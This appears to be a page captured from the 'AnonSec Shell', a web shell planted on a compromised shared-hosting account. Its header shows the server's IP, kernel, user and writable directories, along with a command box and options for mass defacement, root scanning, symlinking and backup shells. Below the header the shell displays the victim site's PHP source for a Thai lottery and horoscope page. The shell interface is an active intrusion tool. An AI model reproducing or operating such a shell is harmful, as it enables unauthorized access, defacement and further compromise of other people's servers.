AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 172.71.28.146   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/beerecord.com/fabulous/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/beerecord.com/fabulous/fabulous2.php
<?php session_start(); ?>

<?php include('include/class_b.php'); ?>

<?php include('page.php'); ?>

<?php include('include/log_date2.php'); ?>

<!DOCTYPE html>

<html lang="en" dir="ltr">

<head>

  <meta charset="utf-8">

  <title>เหลือเชื่อ</title>

  <link href="bootstrap-5.1.3-dist/css/bootstrap.min.css" rel="stylesheet">

  <link rel="apple-touch-icon" href="redbag/icon/icon1.png" sizes="180x180">

  <link rel="icon" href="redbag/icon/icon1.png" sizes="32x32" type="image/png">

  <link rel="icon" href="redbag/icon/icon1.png" sizes="16x16" type="image/png">

  <link rel="mask-icon" href="redbag/icon/icon1.png" color="#7952b3">

  <link rel="icon" href="redbag/icon/icon1.png">

  <meta name="theme-color" content="#7952b3">

  <!--

    <link rel="stylesheet" type="text/css" href="plugin/slick.css"/>

    <link rel="stylesheet" type="text/css" href="plugin/slick-theme.css"/>-->

</head>

<style media="screen">
  body {

    background-image: url(redbag/bg/bg_body1.jpg);

    background-size: cover;

    background-repeat: no-repeat;

    height: 100%;

    background-position: top;

    font-size: 1.75rem;

  }

  .card-nav {

    background-image: url(redbag/bg/bg_2.jpg);

    background-size: cover;

    background-repeat: no-repeat;

    height: 150px;

    background-position: center;

  }



  .btn1 {

    margin-bottom: -1px;

    background-color: #481165;

    border: 1px solid #481165;

    border-top-left-radius: 1.25rem;

    border-top-right-radius: 1.25rem;

    width: 25%;

    height: 2.5rem;

    font-size: 1.65rem;

  }

  .btn2 {

    margin-bottom: -1px;

    background-color: #e01274;

    border: 1px solid #e01274;

    border-top-left-radius: 1.25rem;

    border-top-right-radius: 1.25rem;

    width: 25%;

    height: 2.5rem;

    font-size: 1.65rem;

  }

  .btn3 {

    margin-bottom: -1px;

    background-color: #b12901;

    border: 1px solid #b12901;

    border-top-left-radius: 1.25rem;

    border-top-right-radius: 1.25rem;

    width: 25%;

    height: 2.5rem;

    font-size: 1.65rem;

  }

  .btn4 {

    margin-bottom: -1px;

    background-color: #0096ed;

    border: 1px solid #0096ed;

    border-top-left-radius: 1.25rem;

    border-top-right-radius: 1.25rem;

    width: 25%;

    height: 2.5rem;

    font-size: 1.65rem;

  }

  .border-btn1 {
    border: 2px solid #481165;
    background-color: #ffffff
  }

  .border-btn2 {
    border: 2px solid #e01274;
    background-color: #ffffff
  }

  .border-btn3 {
    border: 2px solid #b12901;
    background-color: #ffffff
  }

  .border-btn4 {
    border: 2px solid #0096ed;
    background-color: #ffffff
  }

  .tilte {

    font-size: 24px;

    padding-bottom: 20px;

  }

  .font_1 {

    margin-top: 0px;

    text-align: center;

    font-size: 28px;

    margin-bottom: 10px;

  }

  .font_1_1 {

    text-align: right;

    font-size: 28px;

  }

  .circle {

    width: 135px;

    height: 135px;

    background-color: #000;

    border-radius: 70px;

    color: #FFF;

    font-size: 90px;

    text-align: center;

    margin-bottom: 20px;

  }

  .bg {

    max-width: 499px;

    min-height: 633px;

    padding: 15px;

    font-size: 22px;

    margin-top: 30px;

    font-weight: bold;

    background-position: top center;

    background-repeat: repeat-y;

    font-size: 40px;

    margin-bottom: 50px;

    color: #000;

  }

  .tb_1 {
    width: 370px;
    margin-top: 20px;
  }

  .tb_1 td {
    font-size: 80px;
    text-align: center;
  }



  @media (max-width: 375px) {

    .tb_1 {
      width: 340px;
      margin-top: 20px;
    }



  }

  .div_1 {
    border: 2px solid #000;
    width: 85px;
    height: 90px;
    background-color: #FFF;
    float: left;
    margin-right: 7px;
    margin-bottom: 10px;
    font-size: 58px
  }

  .btn-secondary {
    background-color: #33373a;
    border-color: #33373a;
  }
</style>

<body>

  <div class="card-nav"></div>

  <?php

  if (@$res) {

    $res2 = json_encode(@$res, JSON_UNESCAPED_UNICODE);

    $res2 = json_encode(@$res2, true);



    $secrch = " `code` =  '" . $date_d . "'";

    $sql = array('table' => $name_table2, 'where' => $secrch);

    $view_sql = $view_db->view($sql);

    $row = $view_db->q($view_sql);



    if ($row) {





      $dt3 = explode("-", @$rowt['datetime']);

      $yearth3 = $dt3[0] + 543;

      $text_date3 = $dt3[2] . " " . $month[intval($dt3[1])] . " " . $yearth3;



  ?>

      <div class="px-3 px-md-5 mb-5">

        <div class="my-3 text-center">

          <h2>

            <span id="ti">

              <?php echo $text_date3 . " "; ?>

              <?php

              for ($i = 0; $i < count($res); $i++) {

                if ($res[$i]['id'] == @$_GET['d']) {

                  echo $res[$i]['title'];
                }
              }

              ?>

            </span>

          </h2>



        </div>

        <div class="">

          <nav>

            <div class="nav nav-tabs border-0" id="nav-tab" role="tablist">

              <button class="btn1 text-white" id="btn1" data-bs-toggle="tab" data-bs-target="#nav-slide1" type="button" role="tab" aria-controls="nav-slide1" aria-selected="true">
                <h3>ดวง</h3>
              </button>

              <button class="btn2 text-white" id="btn2" data-bs-toggle="tab" data-bs-target="#nav-slide2" type="button" role="tab" aria-controls="nav-slide2" aria-selected="false">
                <h3>เรื่องเด่น</h3>
              </button>

              <button class="btn3 text-white" id="btn3" data-bs-toggle="tab" data-bs-target="#nav-slide3" type="button" role="tab" aria-controls="nav-slide3" aria-selected="false">
                <h3>เลขเด็ด</h3>
              </button>

              <button class="btn4 text-white" id="btn4" data-bs-toggle="tab" data-bs-target="#nav-slide4" type="button" role="tab" aria-controls="nav-slide4" aria-selected="false">
                <h3>การ์ตูน</h3>
              </button>

            </div>

          </nav>

          <div class="tab-content" id="nav-tabContent">

            <div class="tab-pane fade show active border-btn1 px-3 py-5 text-center" id="nav-slide1" role="tabpanel" aria-labelledby="nav-slide1-tab">

              <?php

              for ($i = 0; $i < count($res); $i++) {

                if ($res[$i]['id'] == @$_GET['d']) {

                  echo $res[$i]['dt1'][0];
                }
              }

              ?>

            </div>

            <div class="tab-pane fade border-btn2 px-3 py-5" id="nav-slide2" role="tabpanel" aria-labelledby="nav-slide2-tab">

              <?php

              for ($j = 0; $j < count($res); $j++) {

                if ($res[$j]['id'] == @$_GET['d']) {

              ?>

                  <div class="card d-block border-0 text-center">

                    <img src="redbag/slide2/<?php echo $res[$j]['dt2'][0]; ?>" alt="" width="400" class="img-fluid " id="img2">

                    <div class="text-center mt-5" id="slide2">

                      <?php echo $res[$j]['dt2'][1]; ?>



                    </div>



                  </div>

              <?php }
              } ?>

            </div>

            <div class="tab-pane fade border-btn3 p-3" id="nav-slide3" role="tabpanel" aria-labelledby="nav-slide3-tab">



              <div class="row">

                <?php

                for ($i = 0; $i < count($res); $i++) {

                  if ($res[$i]['id'] == @$_GET['d']) {



                    $secrch3 = " `code` = '" . @$res[$i]['dt3'][0] . "' AND `type` = '3' ";

                    $sql3 = array('table' => $name_table2, 'where' => $secrch3);

                    $view_sql3 = $view_db->view($sql3);

                    $row3 = $view_db->q($view_sql3);



                    $dt = explode("-", $row3['datefix']);

                    $yearth = $dt[0] + 543;

                    $text_date2 = $dt[2] . " " . $month[intval($dt[1])] . " " . $yearth;



                    $secrchl = " `status` = '1'";

                    $listl = array('table' => $name_table3, 'where' => $secrchl, 'order' => "ORDER BY id ASC");

                    $viewl = $view_db->view($listl);

                    $resultl = $view_db->q_re($viewl);

                    $a = json_decode(@$row3['a'], true);

                    $b = json_decode(@$row3['b'], true);

                    $c = json_decode(@$row3['c'], true);

                    $d = json_decode(@$row3['d'], true);

                    $e = json_decode(@$row3['e'], true);

                    $f = json_decode(@$row3['f'], true);

                    $g = json_decode(@$row3['g'], true);

                    $h = json_decode(@$row3['h'], true);

                    //print_r($viewl);

                    while ($rowl = $view_db->q_ro($resultl)) {

                ?>

                      <?php if ($rowl['id'] == 1) { ?>



                        <div class="col-12 col-lg-6" align="center">

                          <div class="bg" style="background-image: url(redbag/bg/<?php echo $rowl['background']; ?>);">

                            <div class="tilte"><?php echo $text_date2; ?></div>

                            <div style="margin-top:-20px;margin-bottom:10px;"><img src="redbag/icon/<?php echo $rowl['image_head']; ?>" class="img-responsive" /> </div>

                            <div class="row" style="padding:0px  10px 10px 10px;">

                              <div class="col-md-6 col-xs-6" style="border-top:3px solid #000;border-right:3px solid #000;">

                                <div class="font_1">โชคบน</div>

                                <div class="circle circle2" align="center"><?php echo @$a[0]; ?></div>

                                <div class="font_2"><?php echo @$a[2]; ?></div>

                                <div class="font_2"><?php echo @$a[4]; ?></div>

                              </div>

                              <div class="col-md-6 col-xs-6" style="border-top:3px solid #000;">

                                <div class="font_1">โชคล่าง</div>

                                <div class="circle" align="center"><?php echo @$a[1]; ?></div>

                                <div class="font_2"><?php echo @$a[3]; ?></div>

                                <div class="font_2"><?php echo @$a[5]; ?></div>

                              </div>

                            </div>

                            <div class="row">

                              <div class="col-md-12" style="margin-top:20px;"><img src="redbag/icon/<?php echo $rowl['image_footer']; ?>" width="377" height="81" class="img-responsive" /></div>

                            </div>

                          </div>

                        </div>



                      <?php } ?>

                      <?php if ($rowl['id'] == 2) { ?>

                        <div class="col-12 col-lg-6" align="center">

                          <div class="bg" style="background-image: url(redbag/bg/<?php echo $rowl['background']; ?>);">

                            <div class="tilte"><?php echo $text_date2; ?></div>

                            <div style="margin-top:-10px;"><img src="redbag/icon/<?php echo $rowl['image_head']; ?>" class="img-responsive" /></div>

                            <div class="row" style="padding:10px  10px 10px 10px;">

                              <div class="col-md-6 col-xs-6" style="border-right:3px solid #000;">

                                <div class="font_1">ทิศเหนือ</div>

                                <div class="circle circle2" align="center"><?php echo @$b[0]; ?></div>

                                <div class="font_2"><?php echo @$b[2]; ?></div>

                                <div class="font_2"><?php echo @$b[4]; ?></div>

                              </div>

                              <div class="col-md-6 col-xs-6" style="">

                                <div class="font_1">ทิศใต้</div>

                                <div class="circle" align="center"><?php echo @$b[1]; ?></div>

                                <div class="font_2"><?php echo @$b[3]; ?></div>

                                <div class="font_2"><?php echo @$b[5]; ?></div>

                              </div>

                            </div>

                            <div class="row">

                              <div style="font-size:30px" align="center">เลขมงคล</div>

                              <div class="col-md-12" style="font-size:30px">

                                <?php echo @$b[6]; ?> </div>

                            </div>

                          </div>

                        </div>

                      <?php } ?>

                      <?php if ($rowl['id'] == 3) { ?>

                        <div class="col-12 col-lg-6" align="center">

                          <div class="bg" style="background-image: url(redbag/bg/<?php echo $rowl['background']; ?>);">

                            <div class="tilte"><?php echo $text_date2; ?></div>

                            <div align="center"> <img src="redbag/icon/<?php echo $rowl['image_head']; ?>" class="img-responsive" /> </div>

                            <table border="0" class="tb_1">

                              <tr>

                                <td style="border-right:3px solid #000;border-bottom:3px solid #000;width:33%"><?php if (@$c[0] == '') {
                                                                                                                  echo "&nbsp;";
                                                                                                                } else {
                                                                                                                  echo $c[0];
                                                                                                                } ?></td>

                                <td style="border-bottom:3px solid #000;width:33%"><?php if (@$c[1] == '') {
                                                                                      echo "&nbsp;";
                                                                                    } else {
                                                                                      echo $c[1];
                                                                                    } ?></td>

                                <td style="border-left:3px solid #000;border-bottom:3px solid #000;width:33%"><?php if (@$c[2] == '') {
                                                                                                                echo "&nbsp;";
                                                                                                              } else {
                                                                                                                echo $c[2];
                                                                                                              } ?></td>

                              </tr>

                              <tr>

                                <td style="border-right:3px solid #000;border-bottom:3px solid #000;width:33%"><?php if (@$c[3] == '') {
                                                                                                                  echo "&nbsp;";
                                                                                                                } else {
                                                                                                                  echo $c[3];
                                                                                                                } ?></td>

                                <td style="border-bottom:3px solid #000;width:33%"><?php if (@$c[4] == '') {
                                                                                      echo "&nbsp;";
                                                                                    } else {
                                                                                      echo $c[4];
                                                                                    } ?></td>

                                <td style="border-left:3px solid #000;border-bottom:3px solid #000;width:33%"><?php if (@$c[5] == '') {
                                                                                                                echo "&nbsp;";
                                                                                                              } else {
                                                                                                                echo $c[5];
                                                                                                              } ?></td>

                              </tr>

                              <tr>

                                <td style="border-right:3px solid #000;width:33%"><?php if (@$c[6] == '') {
                                                                                    echo "&nbsp;";
                                                                                  } else {
                                                                                    echo $c[6];
                                                                                  } ?></td>

                                <td><?php if (@$c[7] == '') {
                                      echo "&nbsp;";
                                    } else {
                                      echo $c[7];
                                    } ?></td>

                                <td style="border-left:3px solid #000;width:33%"><?php if (@$c[8] == '') {
                                                                                    echo "&nbsp;";
                                                                                  } else {
                                                                                    echo $c[8];
                                                                                  } ?></td>

                              </tr>

                            </table>

                          </div>

                        </div>

                      <?php } ?>

                      <?php if ($rowl['id'] == 4) { ?>

                        <div class="col-12 col-lg-6" align="center">

                          <div class="bg" style="background-image: url(redbag/bg/<?php echo $rowl['background']; ?>);">

                            <div class="tilte"><?php echo $text_date2; ?></div>

                            <div align="center" style="margin-top:-20px;"> <img src="redbag/icon/<?php echo $rowl['image_head']; ?>" class="img-responsive" /> </div>

                            <div style="margin-top:15px;">

                              <div class="row" style="align-items: center;">

                                <div class="col-md-3 col-xs-3 font_1_1"> ดีดบน </div>

                                <div class="col-md-6 col-xs-6">
                                  <div class="circle mb-0" style="width: 100px;height: 100px;font-size: 65px;"><?php echo $d[0]; ?></div>
                                </div>

                                <div class="col-md-3 col-xs-3 font_1 mb-0"><?php echo $d[6]; ?></div>

                              </div>





                              <div class="row" style="padding-top:10px">

                                <div class="col-xs-6 col-sm-6 col-md-6"> <?php echo $d[2]; ?> </div>

                                <div class="col-xs-6 col-sm-6 col-md-6"> <?php echo $d[4]; ?> </div>

                              </div>



                              <div style="border-bottom:3px solid #000;margin:15px 10px; ">

                              </div>



                              <div class="row" style="align-items: center;">

                                <div class="col-md-3 col-xs-3 font_1_1" style="padding:0px;">ดีดล่าง</div>

                                <div class="col-md-6 col-xs-6">
                                  <div class="circle mb-0" style="width: 100px;height: 100px;font-size: 65px;"><?php echo $d[1]; ?></div>
                                </div>

                                <div class="col-md-3 col-xs-3 font_1"><?php echo $d[7]; ?></div>

                              </div>



                              <div class="row" style="padding-top:5px">

                                <div class="col-xs-6 col-sm-6 col-md-6"> <?php echo $d[3]; ?> </div>

                                <div class="col-xs-6 col-sm-6 col-md-6"> <?php echo $d[5]; ?> </div>

                              </div>



                            </div>

                            <div align="center"> <img src="redbag/icon/<?php echo $rowl['image_footer']; ?>" class="img-responsive" /> </div>

                          </div>

                        </div>

                      <?php } ?>

                      <?php if ($rowl['id'] == 5) { ?>

                        <div class="col-12 col-lg-6" align="center">

                          <div class="bg" style="background-image: url(redbag/bg/<?php echo $rowl['background']; ?>);">

                            <div class="tilte"><?php echo $text_date2; ?></div>

                            <div align="center" style="padding-top:-20px;"><img src="redbag/icon/<?php echo $rowl['image_head']; ?>" class="img-responsive" /></div>

                            <div>

                              <div class="row" style="display: inline-block;">

                                <div class="col-md-12" align="center">

                                  <div class="div_3">

                                    <div class="div_1"><?php echo $e[0]; ?></div>

                                    <div class="div_1"><?php echo $e[1]; ?></div>

                                    <div class="div_1" style="margin-right:0px;"><?php echo $e[2]; ?></div>

                                    <div style="clear:left"> </div>

                                  </div>

                                </div>

                              </div>

                              <div class="row">

                                <div class="col-md-12">

                                  <div class="font_1">3 ตัว <?php echo $e[3]; ?> - <?php echo $e[4]; ?></div>

                                  <div class="font_1">2 ตัว <?php echo $e[5]; ?> - <?php echo $e[6]; ?></div>

                                </div>

                              </div>

                              <div class="row" style="display: inline-block;">

                                <div class="col-md-12" align="center">



                                  <div class="div_3">

                                    <div class="div_1"><?php echo $e[7]; ?></div>

                                    <div class="div_1"><?php echo $e[8]; ?></div>

                                    <div class="div_1" style="margin-right:0px;"><?php echo $e[9]; ?></div>

                                    <div style="clear:left"> </div>

                                  </div>



                                </div>

                              </div>

                              <div class="row">

                                <div class="col-md-12">

                                  <div class="font_1">2 ตัว <?php echo $e[10]; ?> - <?php echo $e[11]; ?></div>

                                </div>

                              </div>

                              <div class="row">

                                <div class="col-md-12" style="padding-top:0px;padding-bottom:0px;"><img src="redbag/icon/<?php echo $rowl['image_footer']; ?>" class="img-responsive" /></div>

                              </div>

                            </div>

                          </div>

                        </div>

                      <?php } ?>

                      <?php if ($rowl['id'] == 6) { ?>

                        <div class="col-12 col-lg-6" align="center">

                          <div class="bg" style="background-image: url(redbag/bg/<?php echo $rowl['background']; ?>);">

                            <div class="tilte"><?php echo $text_date2; ?></div>

                            <div align="center" style="padding-top:-20px;"><img src="redbag/icon/<?php echo $rowl['image_head']; ?>" class="img-responsive" /></div>

                            <div style="font-size:100px;margin-top:-50px;" align="center"><?php echo $f[0]; ?></div>

                            <div style="font-size:60px;text-decoration:overline;margin-top:-25px;" align="center"><?php echo $f[1]; ?></div>





                            <div class="row">

                              <div class="col-md-6 col-xs-6" align="center" style="font-size:30px;margin-top:20px;">

                                <div style="font-size:20px;"> เด่น <?php echo $f[2]; ?> </div>

                                <div style="font-size:54px;"> <?php echo $f[4]; ?> </div>

                                <div> <?php echo $f[6]; ?> - <?php echo $f[7]; ?> </div>

                                <div> <?php echo $f[10]; ?> - <?php echo $f[11]; ?> </div>

                                <div> <?php echo $f[14]; ?> - <?php echo $f[15]; ?> </div>

                              </div>

                              <div class="col-md-6 col-xs-6" align="center" style="font-size:30px;margin-top:20px;">

                                <div style="font-size:20px;"> เด่นรอง <?php echo $f[3]; ?> </div>

                                <div style="font-size:54px;"> <?php echo $f[5]; ?> </div>

                                <div> <?php echo $f[8]; ?> - <?php echo $f[9]; ?> </div>

                                <div> <?php echo $f[12]; ?> - <?php echo $f[13]; ?> </div>

                                <div> <?php echo $f[16]; ?> - <?php echo $f[17]; ?> </div>

                              </div>

                            </div>



                          </div>

                        </div>

                      <?php } ?>

                      <?php if ($rowl['id'] == 7) { ?>

                        <div class="col-12 col-lg-6" align="center">

                          <div class="bg" style="background-image: url(redbag/bg/<?php echo $rowl['background']; ?>);">

                            <div class="tilte"><?php echo $text_date2; ?></div>

                            <div style="margin-top:-10px;">

                              <img src="redbag/icon/<?php echo $rowl['image_head']; ?>" class="img-responsive" />
                            </div>

                            <div class="row" style="padding:0px  10px 10px 10px;">

                              <div class="col-md-6 col-sm-6 col-xs-6">

                                <div class="font_1"><img src="redbag/icon/text7_2.png" /></div>

                                <div class="row">

                                  <div class="col-md-12" align="center">

                                    <div class="div_2">

                                      <div class="div_1" style="width: 56px;height: 81px;font-size: 49px;"><?php echo $g[0]; ?></div>

                                      <div class="div_1" style="width: 56px;height: 81px;font-size: 49px;"><?php echo $g[1]; ?></div>

                                      <div class="div_1" style="margin-right:0px;width: 56px;height: 81px;font-size: 49px;"><?php echo $g[2]; ?></div>

                                      <div style="clear:left"> </div>

                                    </div>

                                  </div>

                                </div>

                                <div class="font_1"><?php echo $g[6]; ?> &nbsp; <?php echo $g[7]; ?></div>

                                <div class="font_1"><?php echo $g[10]; ?> &nbsp; <?php echo $g[11]; ?></div>

                                <div class="font_1"><?php echo $g[14]; ?> &nbsp; <?php echo $g[15]; ?></div>

                              </div>

                              <div class="col-md-6 col-sm-6 col-xs-6" style="margin-top:3px;">

                                <div class="font_1"><img src="redbag/icon/text7_3.png" /></div>

                                <div class="row">

                                  <div class="col-md-12" align="center">

                                    <div class="div_2">

                                      <div class="div_1" style="width: 56px;height: 81px;font-size: 49px;"><?php echo $g[3]; ?></div>

                                      <div class="div_1" style="width: 56px;height: 81px;font-size: 49px;"><?php echo $g[4]; ?></div>

                                      <div class="div_1" style="margin-right:0px;width: 56px;height: 81px;font-size: 49px;"><?php echo $g[5]; ?></div>

                                      <div style="clear:left"> </div>

                                    </div>

                                  </div>

                                </div>

                                <div class="font_1"><?php echo $g[8]; ?> &nbsp; <?php echo $g[9]; ?></div>

                                <div class="font_1"><?php echo $g[12]; ?> &nbsp; <?php echo $g[13]; ?></div>

                                <div class="font_1"><?php echo $g[16]; ?> &nbsp; <?php echo $g[17]; ?></div>

                              </div>

                            </div>

                            <div class="row">

                              <div class="col-md-12">

                                <div style="margin-top:10px;">

                                  <img src="redbag/icon/<?php echo $rowl['image_footer']; ?>" class="img-responsive" />
                                </div>

                              </div>

                            </div>



                          </div>

                        </div>

                      <?php } ?>

                      <?php if ($rowl['id'] == 8) { ?>

                        <div class="col-12 col-lg-6" align="center">

                          <div class="bg" style="background-image: url(redbag/bg/<?php echo $rowl['background']; ?>);">

                            <div class="tilte"><?php echo $text_date2; ?></div>

                            <div class="row" style="padding:10px;">

                              <div class="col-md-12">

                                <div class="font_1">บน</div>

                                <div class="font_2"><?php echo $h[0]; ?></div>

                              </div>

                              <div class="col-md-12">

                                <div class="font_1">ล่าง</div>

                                <div class="font_2"> <?php echo $h[1]; ?> </div>

                              </div>

                              <div class="col-md-12">

                                <div class="font_3"><?php echo $h[2]; ?> &nbsp; <?php echo $h[3]; ?> &nbsp; <?php echo $h[4]; ?></div>

                              </div>

                              <div class="col-md-12">

                                <div class="font_3"><?php echo $h[5]; ?> &nbsp; <?php echo $h[6]; ?> &nbsp; <?php echo $h[7]; ?> </div>

                              </div>

                            </div>

                            <div class="row">

                              <div class="col-md-12" style="margin-top:20px;">

                                <img src="redbag/icon/<?php echo $rowl['image_footer']; ?>" class="img-responsive" />
                              </div>

                            </div>



                          </div>

                        </div>

                      <?php } ?>













                <?php }
                  }
                }  ?>

              </div>



            </div>

            <div class="tab-pane fade border-btn4 p-3" id="nav-slide4" role="tabpanel" aria-labelledby="nav-slide4-tab">

              <div class="row" style="align-items: center;">

                <?php

                for ($i = 0; $i < count($res); $i++) {

                  if ($res[$i]['id'] == @$_GET['d']) {               ?>



                    <div class="col-12 col-md-12 text-center">

                      <div class="col-12 px-5">

                        <div id="img_gallery" class="justify-content-center">

                          <?php

                          for ($e = 0; $e < count($res[$i]['dt4']); $e++) {

                          ?>



                            <!--<img src="redbag/slide4/<?php ///echo @$res[$i]['dt4'][$e]; 
                                                        ?>" alt="" class="col-12 px-5 py-2" style="width:90%;">-->

                            <img src="redbag/slide4/thumb/<?php echo @$res[$i]['dt4'][$e]; ?>" alt="" class="col-12 px-5 py-2" style="width:90%;">



                          <?php } ?>

                        </div>

                      </div>

                    </div>

                <?php }
                } ?>

              </div>

            </div>

            <?php

            /*echo "<pre>";

          print_r(@$res);

          echo "</pre>";*/



            ?>

            <div class="col-12 mt-2">

              <div class="d-flex justify-content-between">

                <button type="button" class="btn btn-secondary px-3 " onclick="prev(this.value)" value="1" id="prev">
                  < เลื่อนดูเล่มอื่นๆ </button>

                    <div class="w-50" hidden>

                      <input type="date" name="dS" value="" class="form-control ">

                    </div>

                    <button type="button" class="btn btn-secondary  px-3 disabled" onclick="next(this.value)" value="" id="next"> เลื่อนดูเล่มอื่นๆ > </button>

              </div>

            </div>

          </div>



        </div>

      </div>





    <?php }
  } else { ?>

    <div class="container mb-5">

      <div class="mt-5">

        <nav>

          <div class="nav nav-tabs border-0" id="nav-tab" role="tablist">

            <button class="btn1 text-white" id="btn1" data-bs-toggle="tab" data-bs-target="#nav-slide1" type="button" role="tab" aria-controls="nav-slide1" aria-selected="true">ดวง</button>

            <button class="btn2 text-white" id="btn2" data-bs-toggle="tab" data-bs-target="#nav-slide2" type="button" role="tab" aria-controls="nav-slide2" aria-selected="false">เรื่องเด่น</button>

            <button class="btn3 text-white" id="btn3" data-bs-toggle="tab" data-bs-target="#nav-slide3" type="button" role="tab" aria-controls="nav-slide3" aria-selected="false">เลขเด็ด</button>

            <button class="btn4 text-white" id="btn4" data-bs-toggle="tab" data-bs-target="#nav-slide4" type="button" role="tab" aria-controls="nav-slide4" aria-selected="false">การ์ตูน</button>

          </div>

        </nav>

        <div class="tab-content" id="nav-tabContent">

          <div class="tab-pane fade show active border-btn1 px-3 py-5 text-center" id="nav-slide1" role="tabpanel" aria-labelledby="nav-slide1-tab">

            <p>ไม่พบข้อมูล</p>

          </div>

        </div>

      </div>

    </div>

  <?php } ?>

  <!--

  <script type="text/javascript" src="plugin/jquery-1.11.0.min.js"></script>

  <script type="text/javascript" src="plugin/jquery-migrate-1.2.1.min.js"></script>

  <script type="text/javascript" src="plugin/slick.js"></script>-->

  <script type="text/javascript">
    var ar = <?php echo @$res2; ?>;

    var ar2 = JSON.parse(ar);

    function next(id) {

      if (id != '') {

        var d = ar2.length;

        d = Number(d) - 1;

        if (0 < id) {

          var p = Number(id);

          var n = Number(id) - 1;



        } else {

          var p = Number(id) + 1;

          var n = '';

          document.getElementById('next').classList.add("disabled");

        }

        if (document.getElementById('prev').value == '') {

          document.getElementById('prev').classList.remove("disabled");



        }

        document.getElementById('prev').value = p;

        document.getElementById('next').value = n;

        document.getElementById('nav-slide1').innerHTML = ar2[id]['dt1'][0];

        document.getElementById('nav-slide1').innerHTML = ar2[id]['dt1'][0];

        document.getElementById('slide2').innerHTML = ar2[id]['dt2'][1];

        document.getElementById("img2").src = "redbag/slide2/thumb/" + ar2[id]['dt2'][0];

        document.getElementById("ti").innerHTML = ar2[id]['date'] + " " + ar2[id]['m2'] + " " + ar2[id]['y'] + " " + ar2[id]['title'];



        var div = document.getElementById("img_gallery");

        div.innerHTML = "";

        //console.log(div);

        for (counter = 0; counter < ar2[id]['dt4'].length; counter++) {

          var imagem = document.createElement("img");

          imagem.src = "redbag/slide4/" + ar2[id]['dt4'][counter];

          imagem.style.width = "90%";

          imagem.classList.add("col-12");

          imagem.classList.add("px-5");

          imagem.classList.add("py-2");

          div.appendChild(imagem);

        }

      }

    }

    function prev(id) {

      if (id != '') {

        var d = ar2.length;

        d = Number(d) - 1;

        if (d > id) {

          var p = Number(id) + 1;

          var n = Number(id) - 1;

          document.getElementById('next').classList.remove("disabled");

          document.getElementById('prev').classList.remove("disabled");



        } else {

          var p = '';

          var n = Number(id) - 1;

          document.getElementById('prev').classList.add("disabled");

          document.getElementById('next').classList.remove("disabled");



        }

        document.getElementById('prev').value = p;

        document.getElementById('next').value = n;

        document.getElementById('nav-slide1').innerHTML = ar2[id]['dt1'][0];

        document.getElementById('slide2').innerHTML = ar2[id]['dt2'][1];

        document.getElementById("img2").src = "redbag/slide2/thumb/" + ar2[id]['dt2'][0];

        document.getElementById("ti").innerHTML = ar2[id]['date'] + " " + ar2[id]['m2'] + " " + ar2[id]['y'] + " " + ar2[id]['title'];



        var div = document.getElementById("img_gallery");

        div.innerHTML = "";

        //console.log(div);

        for (counter = 0; counter < ar2[id]['dt4'].length; counter++) {



          var imagem = document.createElement("img");

          imagem.src = "redbag/slide4/" + ar2[id]['dt4'][counter];

          imagem.style.width = "90%";

          imagem.classList.add("col-12");

          imagem.classList.add("px-5");

          imagem.classList.add("py-2");

          div.appendChild(imagem);

        }

      }

    }
  </script>

  <script src="bootstrap-5.1.3-dist/js/bootstrap.bundle.min.js"></script>

</body>

</html>

Anon7 - 2022
AnonSec Team